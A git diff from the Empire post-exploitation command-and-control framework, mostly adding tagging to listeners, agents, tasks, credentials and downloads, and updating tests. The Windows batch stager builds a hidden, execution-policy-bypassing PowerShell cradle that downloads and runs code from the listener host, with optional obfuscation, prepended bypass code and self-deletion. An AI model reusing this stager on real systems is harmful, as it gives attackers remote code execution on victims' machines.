db.add(get_default_user()) + + if len(db.query(models.Config).all()) == 0: + log.info("Adding database config.") + db.add(get_default_config()) + + if len(db.query(models.Keyword).all()) == 0: + log.info("Adding default keyword obfuscation functions.") + keywords = get_default_keyword_obfuscation() + + for keyword in keywords: + db.add(keyword) + + if len(db.query(models.ObfuscationConfig).all()) == 0: + log.info("Adding default obfuscation config.") + obf_configs = get_default_obfuscation_config() + + for config in obf_configs: + db.add(config) + + # Checking that schema matches the db. + # Some errors don't manifest until query time. + for model in models.Base.__subclasses__(): + db.query(model).first() + + except Exception as e: + log.error(e, exc_info=True) + log.error("Failed to setup database.") + log.error( + "If you have recently updated Empire, please run 'server --reset' to reset the database." + ) + exit(1) diff --git a/empire/server/core/db/models.py b/empire/server/core/db/models.py index 98d5f5531..f22c1978a 100644 --- a/empire/server/core/db/models.py +++ b/empire/server/core/db/models.py @@ -67,7 +67,6 @@ def get_database_config(): Column("download_id", Integer, ForeignKey("downloads.id")), ) - stager_download_assc = Table( "stager_download_assc", Base.metadata, @@ -82,6 +81,52 @@ def get_database_config(): Column("download_id", Integer, ForeignKey("downloads.id")), ) +listener_tag_assc = Table( + "listener_tag_assc", + Base.metadata, + Column("listener_id", Integer, ForeignKey("listeners.id")), + Column("tag_id", Integer, ForeignKey("tags.id")), +) + +agent_tag_assc = Table( + "agent_tag_assc", + Base.metadata, + Column("agent_id", String(255), ForeignKey("agents.session_id")), + Column("tag_id", Integer, ForeignKey("tags.id")), +) + +agent_task_tag_assc = Table( + "agent_task_tag_assc", + Base.metadata, + Column("agent_task_id", Integer), + Column("agent_id", String(255)), + Column("tag_id", Integer, ForeignKey("tags.id")), + ForeignKeyConstraint( + ("agent_task_id", "agent_id"), ("agent_tasks.id", "agent_tasks.agent_id") + ), +) + +plugin_task_tag_assc = Table( + "plugin_task_tag_assc", + Base.metadata, + Column("plugin_task_id", Integer, ForeignKey("plugin_tasks.id")), + Column("tag_id", Integer, ForeignKey("tags.id")), +) + +credential_tag_assc = Table( + "credential_tag_assc", + Base.metadata, + Column("credential_id", Integer, ForeignKey("credentials.id")), + Column("tag_id", Integer, ForeignKey("tags.id")), +) + +download_tag_assc = Table( + "download_tag_assc", + Base.metadata, + Column("download_id", Integer, ForeignKey("downloads.id")), + Column("tag_id", Integer, ForeignKey("tags.id")), +) + class User(Base): __tablename__ = "users" @@ -111,6 +156,7 @@ class Listener(Base): enabled = Column(Boolean, nullable=False) options = Column(JSON) created_at = Column(UtcDateTime, nullable=False, default=utcnow()) + tags = relationship("Tag", secondary=listener_tag_assc) def __repr__(self): return "" % (self.name) @@ -187,6 +233,7 @@ class Agent(Base): proxies = Column(JSON) socks = Column(Boolean) socks_port = Column(Integer) + tags = relationship("Tag", secondary=agent_tag_assc) @hybrid_property def lastseen_time(self): @@ -297,6 +344,7 @@ class Credential(Base): updated_at = Column( UtcDateTime, default=utcnow(), onupdate=utcnow(), nullable=False ) + tags = relationship("Tag", secondary=credential_tag_assc) def __repr__(self): return "" % (self.id) @@ -318,6 +366,7 @@ class Download(Base): updated_at = Column( UtcDateTime, default=utcnow(), onupdate=utcnow(), nullable=False ) + tags = relationship("Tag", secondary=download_tag_assc) def get_base64_file(self): with open(self.location, "rb") as f: @@ -359,6 +408,7 @@ class AgentTask(Base): task_name = Column(Text) status = Column(Enum(AgentTaskStatus), index=True) downloads = relationship("Download", secondary=agent_task_download_assc) + tags = relationship("Tag", secondary=agent_task_tag_assc) def __repr__(self): return "" % (self.id) @@ -394,6 +444,7 @@ class PluginTask(Base): task_name = Column(Text) status = Column(Enum(PluginTaskStatus), index=True) downloads = relationship("Download", secondary=plugin_task_download_assc) + tags = relationship("Tag", secondary=plugin_task_tag_assc) def __repr__(self): return "" % (self.id) @@ -484,3 +535,15 @@ class ObfuscationConfig(Base): module = Column(String(255)) enabled = Column(Boolean) preobfuscatable = Column(Boolean) + + +class Tag(Base): + __tablename__ = "tags" + id = Column(Integer, Sequence("tag_seq"), primary_key=True) + name = Column(String(255), nullable=False) + value = Column(String(255), nullable=False) + color = Column(String(12), nullable=True) + created_at = Column(UtcDateTime, nullable=False, default=utcnow()) + updated_at = Column( + UtcDateTime, nullable=False, onupdate=utcnow(), default=utcnow() + ) diff --git a/empire/server/core/download_service.py b/empire/server/core/download_service.py index df30be09a..56d598010 100644 --- a/empire/server/core/download_service.py +++ b/empire/server/core/download_service.py @@ -1,7 +1,8 @@ import os import shutil +from operator import and_ from pathlib import Path -from typing import List, Optional, Tuple +from typing import List, Optional, Tuple, Union from fastapi import UploadFile from sqlalchemy import func, or_ @@ -28,7 +29,8 @@ def get_by_id(db: Session, uid: int): def get_all( db: Session, download_types: Optional[List[DownloadSourceFilter]], - q: str, + tags: List[str] = None, + q: str = None, limit: int = -1, offset: int = 0, order_by: DownloadOrderOptions = DownloadOrderOptions.updated_at, @@ -79,6 +81,15 @@ def get_all( ) ) + if tags: + tags_split = [tag.split(":", 1) for tag in tags] + query = query.join(models.Download.tags).filter( + and_( + models.Tag.name.in_([tag[0] for tag in tags_split]), + models.Tag.value.in_([tag[1] for tag in tags_split]), + ) + ) + if order_by == DownloadOrderOptions.filename: order_by_prop = func.lower(models.Download.filename) elif order_by == DownloadOrderOptions.location: @@ -133,7 +144,9 @@ def create_download_from_text( return self._save_download(db, filename, location) - def create_download(self, db: Session, user: models.User, file: UploadFile): + def create_download( + self, db: Session, user: models.User, file: Union[UploadFile, Path] + ): """ Upload the file to the downloads directory and save a reference to the db. :param db: @@ -141,7 +154,10 @@ def create_download(self, db: Session, user: models.User, file: UploadFile): :param file: :return: """ - filename = file.filename + if isinstance(file, Path): + filename = file.name + else: + filename = file.filename location = ( Path(empire_config.directories.downloads) @@ -154,7 +170,11 @@ def create_download(self, db: Session, user: models.User, file: UploadFile): filename, location = self._increment_filename(filename, location) with location.open("wb") as buffer: - shutil.copyfileobj(file.file, buffer) + if isinstance(file, Path): + with file.open("rb") as f: + shutil.copyfileobj(f, buffer) + else: + shutil.copyfileobj(file.file, buffer) return self._save_download(db, filename, location) diff --git a/empire/server/core/hooks.py b/empire/server/core/hooks.py index 0f052cd4e..b1a4a6977 100644 --- a/empire/server/core/hooks.py +++ b/empire/server/core/hooks.py @@ -37,6 +37,14 @@ class Hooks(object): # Its arguments are (db: Session, agent: models.Agent) AFTER_AGENT_CHECKIN_HOOK = "after_agent_checkin_hook" + # This event is triggered after a tag is created. + # Its arguments are (db: Session, tag: models.Tag, taggable: Union[models.Agent, models.Listener, etc]) + AFTER_TAG_CREATED_HOOK = "after_tag_created_hook" + + # This event is triggered after a tag is updated. + # Its arguments are (db: Session, tag: models.Tag, taggable: Union[models.Agent, models.Listener, etc]) + AFTER_TAG_UPDATED_HOOK = "after_tag_updated_hook" + def __init__(self): self.hooks: Dict[str, Dict[str, Callable]] = {} self.filters: Dict[str, Dict[str, Callable]] = {} diff --git a/empire/server/core/listener_service.py b/empire/server/core/listener_service.py index 3ca0b004a..b7a738326 100644 --- a/empire/server/core/listener_service.py +++ b/empire/server/core/listener_service.py @@ -72,6 +72,8 @@ def update_listener(self, db: Session, db_listener: models.Listener, listener_re else: return None, f"Listener with name {listener_req.name} already exists." + listener_req.options["Name"] = listener_req.name + db_listener.name = listener_req.name db_listener.enabled = listener_req.enabled template_instance, err = self._validate_listener_options( db, db_listener.module, listener_req.options diff --git a/empire/server/core/plugin_service.py b/empire/server/core/plugin_service.py index 8096fc02a..e0ee8ca88 100644 --- a/empire/server/core/plugin_service.py +++ b/empire/server/core/plugin_service.py @@ -6,7 +6,7 @@ from datetime import datetime from typing import List, Optional -from sqlalchemy import func, or_ +from sqlalchemy import and_, func, or_ from sqlalchemy.orm import Session, joinedload, undefer from empire.server.api.v2.plugin.plugin_dto import PluginExecutePostRequest @@ -184,6 +184,7 @@ def get_tasks( db: Session, plugins: List[str] = None, users: List[int] = None, + tags: List[str] = None, limit: int = -1, offset: int = 0, include_full_input: bool = False, @@ -202,11 +203,24 @@ def get_tasks( query = query.filter(models.PluginTask.plugin_id.in_(plugins)) if users: - query = query.filter(models.PluginTask.user_id.in_(users)) + user_filters = [models.PluginTask.user_id.in_(users)] + if 0 in users: + user_filters.append(models.PluginTask.user_id.is_(None)) + query = query.filter(or_(*user_filters)) + + if tags: + tags_split = [tag.split(":", 1) for tag in tags] + query = query.join(models.PluginTask.tags).filter( + and_( + models.Tag.name.in_([tag[0] for tag in tags_split]), + models.Tag.value.in_([tag[1] for tag in tags_split]), + ) + ) query_options = [ joinedload(models.PluginTask.user), ] + if include_full_input: query_options.append(undefer(models.PluginTask.input_full)) if include_output: diff --git a/empire/server/core/stager_service.py b/empire/server/core/stager_service.py index 4580313ec..efad2c269 100644 --- a/empire/server/core/stager_service.py +++ b/empire/server/core/stager_service.py @@ -172,7 +172,7 @@ def generate_stager(self, template_instance): Path(empire_config.directories.downloads) / "generated-stagers" / file_name ) file_name.parent.mkdir(parents=True, exist_ok=True) - mode = "w" if type(resp) == str else "wb" + mode = "w" if isinstance(resp, str) else "wb" with open(file_name, mode) as f: f.write(resp) diff --git a/empire/server/core/tag_service.py b/empire/server/core/tag_service.py new file mode 100644 index 000000000..6e72140a9 --- /dev/null +++ b/empire/server/core/tag_service.py @@ -0,0 +1,147 @@ +import logging +from typing import List, Optional, Union + +from sqlalchemy import func, or_ +from sqlalchemy.orm import Session + +from empire.server.api.v2.shared_dto import OrderDirection +from empire.server.api.v2.tag.tag_dto import TagOrderOptions, TagSourceFilter +from empire.server.core.db import models +from empire.server.core.hooks import hooks + +log = logging.getLogger(__name__) + + +class TagService(object): + def __init__(self, main_menu): + self.main_menu = main_menu + + def get_by_id(self, db: Session, tag_id: int): + return db.query(models.Tag).filter(models.Tag.id == tag_id).first() + + def get_all( + self, + db: Session, + tag_types: Optional[List[TagSourceFilter]], + q: str, + limit: int = -1, + offset: int = 0, + order_by: TagOrderOptions = TagOrderOptions.updated_at, + order_direction: OrderDirection = OrderDirection.desc, + ): + query = db.query(models.Tag, func.count(models.Tag.id).over().label("total")) + + tag_types = tag_types or [] + sub = [] + if TagSourceFilter.agent_task in tag_types: + sub.append(db.query(models.agent_task_tag_assc.c.tag_id.label("tag_id"))) + if TagSourceFilter.plugin_task in tag_types: + sub.append(db.query(models.plugin_task_tag_assc.c.tag_id.label("tag_id"))) + if TagSourceFilter.agent in tag_types: + sub.append(db.query(models.agent_tag_assc.c.tag_id.label("tag_id"))) + if TagSourceFilter.listener in tag_types: + sub.append(db.query(models.listener_tag_assc.c.tag_id.label("tag_id"))) + if TagSourceFilter.download in tag_types: + sub.append(db.query(models.download_tag_assc.c.tag_id.label("tag_id"))) + if TagSourceFilter.credential in tag_types: + sub.append(db.query(models.credential_tag_assc.c.tag_id.label("tag_id"))) + + subquery = None + if len(sub) > 0: + subquery = sub[0] + if len(sub) > 1: + subquery = subquery.union(*sub[1:]) + subquery = subquery.subquery() + + if subquery is not None: + query = query.join(subquery, subquery.c.tag_id == models.Tag.id) + + if q: + query = query.filter( + or_( + models.Tag.name.like(f"%{q}%"), + ) + ) + + if order_by == TagOrderOptions.name: + order_by_prop = func.lower(models.Tag.name) + elif order_by == TagOrderOptions.created_at: + order_by_prop = models.Tag.created_at + else: + order_by_prop = models.Tag.updated_at + + if order_direction == OrderDirection.asc: + query = query.order_by(order_by_prop.asc()) + else: + query = query.order_by(order_by_prop.desc()) + + if limit > 0: + query = query.limit(limit).offset(offset) + + results = query.all() + + total = 0 if len(results) == 0 else results[0].total + results = list(map(lambda x: x[0], results)) + + return results, total + + def add_tag( + self, + db: Session, + taggable: Union[ + models.Listener, + models.Agent, + models.AgentTask, + models.PluginTask, + models.Credential, + models.Download, + ], + tag_req, + ): + tag = models.Tag(name=tag_req.name, value=tag_req.value, color=tag_req.color) + taggable.tags.append(tag) + db.flush() + + hooks.run_hooks(hooks.AFTER_TAG_CREATED_HOOK, db, tag, taggable) + + return tag + + def update_tag( + self, + db: Session, + db_tag: models.Tag, + taggable: Union[ + models.Listener, + models.Agent, + models.AgentTask, + models.PluginTask, + models.Credential, + models.Download, + ], + tag_req, + ): + db_tag.name = tag_req.name + db_tag.value = tag_req.value + db_tag.color = tag_req.color + db.flush() + + hooks.run_hooks(hooks.AFTER_TAG_UPDATED_HOOK, db, db_tag, taggable) + + return db_tag + + def delete_tag( + self, + db: Session, + taggable: Union[ + models.Listener, + models.Agent, + models.AgentTask, + models.PluginTask, + models.Credential, + models.Download, + ], + tag_id: int, + ): + if tag_id in [tag.id for tag in taggable.tags]: + taggable.tags = [tag for tag in taggable.tags if tag.id != tag_id] + db.query(models.Tag).filter(models.Tag.id == tag_id).delete() diff --git a/empire/server/listeners/http.py b/empire/server/listeners/http.py index e91a60168..b91f0403e 100755 --- a/empire/server/listeners/http.py +++ b/empire/server/listeners/http.py @@ -35,9 +35,7 @@ def __init__(self, mainMenu: MainMenu, params=[]): "Link": "https://twitter.com/harmj0y", } ], - "Description": ( - "Starts a http[s] listener (PowerShell or Python) that uses a GET/POST approach." - ), + "Description": ("Starts a http[s] listener that uses a GET/POST approach."), "Category": "client_server", "Comments": [], "Software": "", diff --git a/empire/server/listeners/http_hop.py b/empire/server/listeners/http_hop.py index 5039fae4c..086854eaa 100755 --- a/empire/server/listeners/http_hop.py +++ b/empire/server/listeners/http_hop.py @@ -27,9 +27,7 @@ def __init__(self, mainMenu: MainMenu, params=[]): "Link": "https://twitter.com/harmj0y", } ], - "Description": ( - "Starts a http[s] listener (PowerShell or Python) that uses a GET/POST approach." - ), + "Description": ("Starts a http[s] listener that uses a GET/POST approach."), "Category": ("client_server"), "Comments": [], "Software": "", diff --git a/empire/server/listeners/http_malleable.py b/empire/server/listeners/http_malleable.py index 252bf4cbb..8d5032433 100644 --- a/empire/server/listeners/http_malleable.py +++ b/empire/server/listeners/http_malleable.py @@ -43,7 +43,7 @@ def __init__(self, mainMenu: MainMenu, params=[]): }, ], "Description": ( - "Starts a http[s] listener (PowerShell or Python) that adheres to a Malleable C2 profile." + "Starts a http[s] listener that adheres to a Malleable C2 profile." ), # categories - client_server, peer_to_peer, broadcast, third_party "Category": ("client_server"), diff --git a/empire/server/plugins/Report-Generation-Plugin b/empire/server/plugins/Report-Generation-Plugin new file mode 160000 index 000000000..c48ec7183 --- /dev/null +++ b/empire/server/plugins/Report-Generation-Plugin @@ -0,0 +1 @@ +Subproject commit c48ec718389ada77fed54539043d5ca52933ce99 diff --git a/empire/server/server.py b/empire/server/server.py index e4b19b9af..2075e8e15 100755 --- a/empire/server/server.py +++ b/empire/server/server.py @@ -11,9 +11,6 @@ import urllib3 -from empire.server.api import app - -# Empire imports from empire.server.common import empire from empire.server.core.config import empire_config from empire.server.core.db import base @@ -170,6 +167,7 @@ def run(args): sys.exit() else: + base.startup_db() global main # Calling run more than once, such as in the test suite @@ -183,6 +181,8 @@ def run(args): subprocess.call("./setup/cert.sh") time.sleep(3) + from empire.server.api import app + app.initialize(secure=args.secure_api, ip=args.restip, port=args.restport) sys.exit() diff --git a/empire/server/stagers/windows/launcher_bat.py b/empire/server/stagers/windows/launcher_bat.py index b7a12d738..a9a64256d 100644 --- a/empire/server/stagers/windows/launcher_bat.py +++ b/empire/server/stagers/windows/launcher_bat.py @@ -2,6 +2,7 @@ import logging from builtins import object +from textwrap import dedent from empire.server.common.helpers import enc_powershell from empire.server.core.db import models @@ -79,54 +80,61 @@ def __init__(self, mainMenu, params=[]): self.options[option]["Value"] = value def generate(self): - # extract all of our options - listener_name = self.options["Listener"]["Value"] - delete = self.options["Delete"]["Value"] - obfuscate = self.options["Obfuscate"]["Value"] - obfuscate_command = self.options["ObfuscateCommand"]["Value"] - bypasses = self.options["Bypasses"]["Value"] - language = self.options["Language"]["Value"] - - if obfuscate.lower() == "true": + # Extract options + options = self.options + listener_name = options["Listener"]["Value"] + obfuscate_command = options["ObfuscateCommand"]["Value"] + bypasses = options["Bypasses"]["Value"] + language = options["Language"]["Value"] + + listener = self.mainMenu.listenersv2.get_by_name(SessionLocal(), listener_name) + host = listener.options["Host"]["Value"] + + if options["Obfuscate"]["Value"].lower() == "true": obfuscate = True else: obfuscate = False - listener = self.mainMenu.listenersv2.get_by_name(SessionLocal(), listener_name) - host = listener.options["Host"]["Value"] - if host == "": + if options["Delete"]["Value"].lower() == "true": + delete = True + else: + delete = False + + if not host: log.error("[!] Error in launcher command generation.") return "" + launcher = "" if listener.module in ["http", "http_com"]: if language == "powershell": - launcher = "powershell.exe -nol -w 1 -nop -ep bypass " launcher_ps = f"(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('{host}/download/powershell/')-UseBasicParsing|iex" - if obfuscate: - launcher = "powershell.exe -nol -w 1 -nop -ep bypass -enc " - - with SessionLocal.begin() as db: - for bypass in bypasses.split(" "): - bypass = ( - db.query(models.Bypass) - .filter(models.Bypass.name == bypass) - .first() - ) - if bypass: - if bypass.language == language: - launcher_ps = bypass.code + launcher_ps - else: - log.warning( - f"Invalid bypass language: {bypass.language}" - ) - - launcher_ps = self.mainMenu.obfuscationv2.obfuscate( + with SessionLocal.begin() as db: + for bypass_name in bypasses.split(" "): + bypass = ( + db.query(models.Bypass) + .filter(models.Bypass.name == bypass_name) + .first() + ) + + if bypass: + if bypass.language == language: + launcher_ps = bypass.code + launcher_ps + else: + log.warning( + f"Invalid bypass language: {bypass.language}" + ) + + launcher_ps = ( + self.mainMenu.obfuscationv2.obfuscate( launcher_ps, obfuscate_command ) - launcher_ps = enc_powershell(launcher_ps).decode("UTF-8") + if obfuscate + else launcher_ps + ) + launcher_ps = enc_powershell(launcher_ps).decode("UTF-8") + launcher = f"powershell.exe -nop -ep bypass -w 1 -enc {launcher_ps}" - launcher = launcher + launcher_ps else: oneliner = self.mainMenu.stagers.generate_exe_oneliner( language=language, @@ -135,28 +143,35 @@ def generate(self): encode=True, listener_name=listener_name, ) + launcher = f"powershell.exe -nop -ep bypass -w 1 -enc {oneliner.split('-enc ')[1]}" - oneliner = oneliner.split("-enc ")[1] - launcher = f"powershell.exe -nol -w 1 -nop -ep bypass -enc {oneliner}" - - else: - if language == "powershell": - launcher = self.mainMenu.stagers.generate_launcher( - listenerName=listener_name, - language="powershell", - encode=True, - obfuscate=obfuscate, - obfuscation_command=obfuscate_command, - ) + elif language == "powershell": + launcher = self.mainMenu.stagers.generate_launcher( + listenerName=listener_name, + language="powershell", + encode=True, + obfuscate=obfuscate, + obfuscation_command=obfuscate_command, + ) if len(launcher) > 8192: - log.error("[!] Error launcher code is greater than 8192 characters.") + log.error("[!] Error: launcher code is greater than 8192 characters.") return "" - code = "@echo off\n" - code += "start " + launcher + "\n" - if delete.lower() == "true": - # code that causes the .bat to delete itself - code += '(goto) 2>nul & del "%~f0"\n' + code = dedent( + f""" + @echo off + start /B {launcher} + """ + ).strip() + + if delete: + code += "\n" + code += dedent( + """ + timeout /t 1 > nul + del "%~f0" + """ + ).strip() return code diff --git a/empire/server/utils/option_util.py b/empire/server/utils/option_util.py index 62fea2947..8a51e7081 100644 --- a/empire/server/utils/option_util.py +++ b/empire/server/utils/option_util.py @@ -66,12 +66,8 @@ class (instance). If any options are invalid, returns a Tuple of options[instance_key] = db_download continue - # Attempt to default a unset required option to the default value - if ( - instance_key not in params - and option_meta["Required"] - and option_meta["Value"] - ): + # Attempt to default a unset option to the default value + if instance_key not in params and option_meta["Value"] not in ["", None]: params[instance_key] = option_meta["Value"] # If the required option still isn't set, return an error diff --git a/empire/test/conftest.py b/empire/test/conftest.py index b7940362b..7c59c8955 100644 --- a/empire/test/conftest.py +++ b/empire/test/conftest.py @@ -1,6 +1,7 @@ import os import shutil import sys +from contextlib import suppress from importlib import reload from pathlib import Path @@ -33,10 +34,11 @@ def client(): os.chdir(Path(os.path.dirname(os.path.abspath(__file__))).parent.parent) import empire.server.core.db.base - from empire.server.core.db.base import reset_db + from empire.server.core.db.base import reset_db, startup_db reset_db() reload(empire.server.core.db.base) + startup_db() shutil.rmtree("empire/test/downloads", ignore_errors=True) shutil.rmtree("empire/test/data/obfuscated_module_source", ignore_errors=True) @@ -62,6 +64,7 @@ def client(): from empire.server.api.v2.plugin import plugin_api, plugin_task_api from empire.server.api.v2.profile import profile_api from empire.server.api.v2.stager import stager_api, stager_template_api + from empire.server.api.v2.tag import tag_api from empire.server.api.v2.user import user_api v2App = FastAPI() @@ -84,6 +87,7 @@ def client(): v2App.include_router(process_api.router) v2App.include_router(download_api.router) v2App.include_router(meta_api.router) + v2App.include_router(tag_api.router) yield TestClient(v2App) @@ -221,6 +225,23 @@ def base_listener_non_fixture(): } +@pytest.fixture(scope="module", autouse=True) +def listener(client, admin_auth_header): + # not using fixture because scope issues + response = client.post( + "/api/v2/listeners/", + headers=admin_auth_header, + json=base_listener_non_fixture(), + ) + + yield response.json() + + with suppress(Exception): + client.delete( + f"/api/v2/listeners/{response.json()['id']}", headers=admin_auth_header + ) + + @pytest.fixture(scope="function") def base_stager(): return { @@ -266,6 +287,22 @@ def base_stager_2(): } +@pytest.fixture(scope="function") +def bat_stager(): + return { + "name": "bat_stager", + "template": "windows_launcher_bat", + "options": { + "Listener": "new-listener-1", + "Language": "powershell", + "OutFile": "my-bat.bat", + "Obfuscate": "False", + "ObfuscateCommand": "Token\\All\\1", + "Bypasses": "mattifestation etw", + }, + } + + @pytest.fixture(scope="function") def pyinstaller_stager(): return { @@ -299,6 +336,7 @@ def host(session_local, models): yield host_id with session_local.begin() as db: + db.query(models.Agent).filter(models.Agent.host_id == host_id).delete() db.query(models.Host).filter(models.Host.id == host_id).delete() @@ -347,6 +385,79 @@ def agent(session_local, models, host, main): db.query(models.Agent).filter(models.Agent.session_id == agent_id).delete() +@pytest.fixture(scope="function") +def agent_task(client, admin_auth_header, agent): + resp = client.post( + f"/api/v2/agents/{agent}/tasks/shell", + headers=admin_auth_header, + json={"command": 'echo "HELLO WORLD"'}, + ) + + yield resp.json() + + # No need to delete the task, it will be deleted when the agent is deleted + # After the test. + + +@pytest.fixture(scope="module") +def plugin_name(): + return "basic_reporting" + + +@pytest.fixture(scope="function") +def plugin_task(main, session_local, models, plugin_name): + with session_local.begin() as db: + plugin_task = models.PluginTask( + plugin_id=plugin_name, + input="This is the trimmed input for the task.", + input_full="This is the full input for the task.", + user_id=1, + ) + db.add(plugin_task) + db.flush() + task_id = plugin_task.id + + yield task_id + + with session_local.begin() as db: + db.query(models.PluginTask).delete() + + +@pytest.fixture(scope="function") +def credential(client, admin_auth_header): + resp = client.post( + "/api/v2/credentials/", + headers=admin_auth_header, + json={ + "credtype": "hash", + "domain": "the-domain", + "username": "user", + "password": "hunter2", + "host": "host1", + }, + ) + + yield resp.json()["id"] + + client.delete(f"/api/v2/credentials/{resp.json()['id']}", headers=admin_auth_header) + + +@pytest.fixture(scope="function") +def download(client, admin_auth_header): + response = client.post( + "/api/v2/downloads", + headers=admin_auth_header, + files={ + "file": ( + "test-upload-2.yaml", + open("./empire/test/test-upload-2.yaml", "r").read(), + ) + }, + ) + + yield response.json()["id"] + + @pytest.fixture(scope="session") def server_config_dict(): # load the config file diff --git a/empire/test/test_agent_checkins_api.py b/empire/test/test_agent_checkins_api.py index 0551a32cf..473e31345 100644 --- a/empire/test/test_agent_checkins_api.py +++ b/empire/test/test_agent_checkins_api.py @@ -118,7 +118,8 @@ def test_database_performance_checkins(models, host, agents, session_local): query = db.query(models.AgentCheckIn).limit(100000) query.all() log.info(f"Time to query {checkins} checkins: {t():0.4f} seconds") - assert t() < 4 + # Changed from 4 to 5 in 2023/07 + assert t() < 5 agents = db.query(models.Agent).all() @@ -179,7 +180,7 @@ def test_get_agent_checkins_multiple_agents( response = client.get( "/api/v2/agents/checkins", headers=admin_auth_header, - params={"agents": [with_checkins[:2]], "limit": 400000}, + params={"agents": with_checkins[:2], "limit": 400000}, ) assert response.status_code == 200 @@ -238,7 +239,8 @@ def test_agent_checkins_aggregate( assert response.status_code == 200 # On an m1 macbook this is <1s, but in CI it's ~11s. ymmv - assert response.elapsed.total_seconds() < 15 + # Changed from 15 to 17 in 2023/07 + assert response.elapsed.total_seconds() < 17 assert response.json()["bucket_size"] == "second" assert response.json()["records"][1]["count"] == 1 * 3 diff --git a/empire/test/test_agent_task_api.py b/empire/test/test_agent_task_api.py index 4f1505254..c3f3d9000 100644 --- a/empire/test/test_agent_task_api.py +++ b/empire/test/test_agent_task_api.py @@ -2,24 +2,6 @@ import pytest -from empire.test.conftest import base_listener_non_fixture - - -@pytest.fixture(scope="module", autouse=True) -def listener(client, admin_auth_header): - # not using fixture because scope issues - response = client.post( - "/api/v2/listeners/", - headers=admin_auth_header, - json=base_listener_non_fixture(), - ) - - yield response.json() - - client.delete( - f"/api/v2/listeners/{response.json()['id']}", headers=admin_auth_header - ) - @pytest.fixture(scope="module", autouse=True) def agent_low_version(db, models, main): @@ -597,7 +579,7 @@ def test_create_task_script_import_agent_not_found(client, admin_auth_header, ag files={ "file": ( "test-upload.yaml", - open("./empire/test/test-upload.yaml", "r"), + open("./empire/test/test-upload.yaml", "rb"), "text/plain", ) }, @@ -614,7 +596,7 @@ def test_create_task_script_import(client, admin_auth_header, agent): files={ "file": ( "test-upload.yaml", - open("./empire/test/test-upload.yaml", "r"), + open("./empire/test/test-upload.yaml", "rb"), "text/plain", ) }, diff --git a/empire/test/test_download_service.py b/empire/test/test_download_service.py index ad05787c7..646c007ed 100644 --- a/empire/test/test_download_service.py +++ b/empire/test/test_download_service.py @@ -1,3 +1,8 @@ +from pathlib import Path + +from empire.server.core.download_service import DownloadService + + def test__increment_filename(tmp_path): from empire.server.core.download_service import DownloadService @@ -21,3 +26,21 @@ def test__increment_filename(tmp_path): assert filename == "test(2).txt" assert location == tmp_path / "test(2).txt" + + +def test_create_download_from_path(main, session_local, models): + test_upload = Path(__file__).parent / "test-upload.yaml" + download_service: DownloadService = main.downloadsv2 + with session_local() as db: + user = db.query(models.User).first() + download = download_service.create_download(db, user, test_upload) + + assert download.id > 0 + assert download.filename.startswith( + "test-upload" + ) and download.filename.endswith(".yaml") + assert download.location.startswith( + f"empire/test/downloads/uploads/{user.username}/test-upload" + ) and download.location.endswith(".yaml") + + db.delete(download) diff --git a/empire/test/test_listener_api.py b/empire/test/test_listener_api.py index 82910cd7d..829612b2a 100644 --- a/empire/test/test_listener_api.py +++ b/empire/test/test_listener_api.py @@ -1,6 +1,3 @@ -my_globals = {"listener_id": 0} - - def test_get_listener_templates(client, admin_auth_header): response = client.get( "/api/v2/listener-templates/", @@ -24,9 +21,11 @@ def test_get_listener_template(client, admin_auth_header): def test_create_listener_validation_fails_required_field( client, base_listener, admin_auth_header ): + base_listener_copy = base_listener.copy() + base_listener_copy["name"] = "temp123" base_listener["options"]["Port"] = "" response = client.post( - "/api/v2/listeners/", headers=admin_auth_header, json=base_listener + "/api/v2/listeners/", headers=admin_auth_header, json=base_listener_copy ) assert response.status_code == 400 assert response.json()["detail"] == "required option missing: Port" @@ -45,46 +44,56 @@ def test_create_listener_validation_fails_required_field( def test_create_listener_custom_validation_fails( client, base_listener, admin_auth_header ): - base_listener["options"]["Host"] = "https://securedomain.com" + base_listener_copy = base_listener.copy() + base_listener_copy["name"] = "temp123" + base_listener_copy["options"]["Host"] = "https://securedomain.com" response = client.post( - "/api/v2/listeners/", headers=admin_auth_header, json=base_listener + "/api/v2/listeners/", headers=admin_auth_header, json=base_listener_copy ) assert response.status_code == 400 assert response.json()["detail"] == "[!] HTTPS selected but no CertPath specified." def test_create_listener_template_not_found(client, base_listener, admin_auth_header): - base_listener["template"] = "qwerty" + base_listener_copy = base_listener.copy() + base_listener_copy["name"] = "temp123" + base_listener_copy["template"] = "qwerty" response = client.post( - "/api/v2/listeners/", headers=admin_auth_header, json=base_listener + "/api/v2/listeners/", headers=admin_auth_header, json=base_listener_copy ) assert response.status_code == 400 assert response.json()["detail"] == "Listener Template qwerty not found" def test_create_listener(client, base_listener, admin_auth_header): + base_listener_copy = base_listener.copy() + base_listener_copy["name"] = "temp123" + base_listener_copy["options"]["Port"] = "1234" + # test that it ignore extra params - base_listener["options"]["xyz"] = "xyz" + base_listener_copy["options"]["xyz"] = "xyz" response = client.post( - "/api/v2/listeners/", headers=admin_auth_header, json=base_listener + "/api/v2/listeners/", headers=admin_auth_header, json=base_listener_copy ) assert response.status_code == 201 assert response.json()["options"].get("xyz") is None - assert response.json()["options"]["Name"] == base_listener["options"]["Name"] - assert response.json()["options"]["Port"] == base_listener["options"]["Port"] + assert response.json()["options"]["Name"] == base_listener_copy["name"] + assert response.json()["options"]["Port"] == base_listener_copy["options"]["Port"] assert ( response.json()["options"]["DefaultJitter"] - == base_listener["options"]["DefaultJitter"] + == base_listener_copy["options"]["DefaultJitter"] ) assert ( response.json()["options"]["DefaultDelay"] - == base_listener["options"]["DefaultDelay"] + == base_listener_copy["options"]["DefaultDelay"] ) - my_globals["listener_id"] = response.json()["id"] + client.delete( + f"/api/v2/listeners/{response.json()['id']}", headers=admin_auth_header + ) def test_create_listener_name_conflict(client, base_listener, admin_auth_header): @@ -98,13 +107,13 @@ def test_create_listener_name_conflict(client, base_listener, admin_auth_header) ) -def test_get_listener(client, admin_auth_header): +def test_get_listener(client, admin_auth_header, listener): response = client.get( - f"/api/v2/listeners/{my_globals['listener_id']}", + f"/api/v2/listeners/{listener['id']}", headers=admin_auth_header, ) assert response.status_code == 200 - assert response.json()["id"] == my_globals["listener_id"] + assert response.json()["id"] == listener["id"] def test_get_listener_not_found(client, admin_auth_header): @@ -125,15 +134,15 @@ def test_update_listener_not_found(client, base_listener, admin_auth_header): assert response.json()["detail"] == "Listener not found for id 9999" -def test_update_listener_blocks_while_enabled(client, admin_auth_header): +def test_update_listener_blocks_while_enabled(client, admin_auth_header, listener): response = client.get( - 